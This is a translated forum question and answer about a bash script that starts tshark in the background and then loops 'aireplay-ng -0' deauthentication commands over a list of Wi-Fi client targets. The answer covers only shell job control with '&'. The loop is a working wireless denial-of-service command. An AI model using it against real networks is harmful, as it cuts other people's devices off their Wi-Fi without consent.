我有一个脚本,其中我使用tshark
开始捕获数据包,然后检查用户是否已提交输入文本文件。
如果存在文件,则需要通过循环为文件中的每个项目运行一个命令(运行tshark
时);否则继续运行tshark
。
我还希望通过用户输入(例如字母)停止tshark
。
代码段:
echo "Starting tshark..."
sleep 2
tshark -i ${iface} &>/dev/null
tshark_pid=$!
# if devices aren't provided (such as in case of new devices, start capturing directly)
if [ -z "$targets" ]; then
echo "No target list provided."
else
for i in $targets; do
echo "Attempting to deauthenticate $i..."
sudo aireplay-ng -0 $number -a $ap -c $i $iface$mon
done
fi
这里发生的是tshark
开始,只有当我使用Ctrl+c
退出它时,它才会继续到if
语句和随后的循环。
答案 0 :(得分:0)
在命令末尾添加&会在新的子进程中执行命令。注意,您将无法使用ctlr + c
杀死它示例:
firefox
会挡住外壳
firefox &
不会阻止外壳